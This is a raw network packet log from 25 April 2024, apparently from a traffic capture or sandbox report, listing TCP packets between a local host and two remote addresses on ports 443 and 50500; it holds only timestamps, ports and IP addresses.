Apr 25, 2024 16:29:20.347759962 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.347767115 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.347785950 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.347804070 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.347809076 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.347816944 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.347835064 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.347851038 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.347872972 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.347873926 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.347887039 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.347908974 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.347928047 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.347929001 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.347943068 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.347959042 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.347959042 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.347985029 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.347990036 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348002911 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348004103 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348020077 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348023891 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348031044 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348050117 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348076105 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348082066 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348089933 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348125935 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348140001 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348187923 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348191023 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348201990 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348216057 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348231077 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348239899 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348243952 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348270893 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348275900 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348288059 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348300934 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348305941 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348326921 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348330021 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348346949 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348364115 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348371029 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348392963 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348395109 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348411083 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348422050 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348427057 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348449945 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348458052 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348468065 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348473072 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348500013 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348511934 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348530054 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348535061 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348558903 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348565102 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348596096 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348601103 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348617077 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348624945 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348634958 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348660946 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348671913 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348683119 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348694086 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348704100 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348723888 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348730087 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348766088 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348767042 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348778009 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348812103 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348818064 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348829985 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348834038 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348845959 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348860025 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348891973 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348896980 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348905087 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348925114 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348937035 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348956108 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348956108 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348968029 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.348993063 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.348999977 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349029064 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.349035978 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349051952 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.349056005 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349092007 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.349093914 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349107981 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349124908 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349136114 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.349150896 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349179983 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349189997 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.349195004 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349209070 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.349210024 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349231005 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349241018 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.349246979 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349277973 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.349278927 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349296093 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349308014 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.349313974 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349334002 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.349349022 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349353075 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.349361897 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349400997 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.349421024 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349457026 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349488020 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.349493027 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349551916 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.349556923 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349643946 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.349648952 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349703074 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.349710941 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349730968 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349739075 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.349750042 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349776030 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349782944 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.349793911 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349807024 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.349813938 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349838018 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.349848986 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349854946 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.349867105 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349879980 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349891901 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.349895954 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349912882 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349922895 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.349936008 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349952936 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.349960089 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349981070 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.349986076 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.350009918 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350017071 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.350034952 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350040913 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.350068092 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350083113 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350084066 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.350114107 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.350120068 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350133896 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350146055 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.350152016 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350178957 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.350184917 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350199938 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350210905 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.350222111 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350236893 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.350241899 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350260973 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.350261927 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350279093 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350292921 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.350298882 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350327015 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.350351095 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.350363016 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350379944 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350394011 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350415945 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.350421906 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350446939 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350450039 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.350460052 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350478888 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350485086 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.350502968 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350521088 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.350538969 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350554943 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350555897 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.350585938 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350595951 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.350601912 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.350636959 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.350661993 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.397368908 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.397778988 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.541804075 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.541836023 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.541878939 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.541903019 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.541918993 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.541990995 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.542165995 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.542181969 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.542227030 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.542232990 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.542253971 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.542270899 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.542644024 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.542686939 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.542715073 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.542721033 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.542752028 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.542769909 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.543102026 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.543128967 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.543162107 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.543167114 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.543191910 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.543210030 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.543521881 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.543540001 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.543571949 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.543576956 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.543600082 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.543612003 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.543916941 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.543970108 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.543976068 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.543983936 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:20.544007063 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.544034958 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.544312954 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:20.544326067 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:21.849334002 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:22.143812895 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:22.143878937 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:22.440479994 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:24.091237068 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:24.393786907 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:25.928174973 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:25.947575092 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:25.947639942 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:25.947686911 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:25.947715998 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:25.947731972 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:25.947767973 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:25.947782040 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:25.947807074 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:25.947829008 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:25.947859049 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:25.947945118 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:25.948052883 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:25.948097944 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:25.948107958 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:25.948142052 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:25.948185921 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:25.948200941 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:25.948242903 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:25.948286057 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:25.948295116 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:25.948298931 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:25.948339939 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.197839022 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.197928905 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.198016882 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.198822021 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.198868990 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.198908091 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.198956966 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.198995113 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.199033022 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.199038029 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.199099064 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.199112892 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.199135065 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.199146986 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.199198961 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.199275017 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.199317932 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.199357033 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.199358940 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.199399948 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.199436903 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.199918032 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.199964046 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.200006962 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.200031042 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.200071096 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.200110912 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.200123072 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.200160027 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.200196981 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.200215101 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.200262070 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.200300932 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.200342894 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.200361013 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.200372934 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.200391054 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.200408936 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.200433969 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.200438023 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.200483084 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.200512886 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.200521946 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.200550079 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.200584888 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.445718050 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.445770979 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.445816040 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.445821047 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.445861101 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.445908070 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.446588039 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.446650982 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.446690083 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.446736097 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.446760893 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.446798086 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.446851969 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.446866035 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.446906090 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.446908951 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.446919918 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.446944952 CEST	50500	49706	193.233.132.47	192.168.2.5
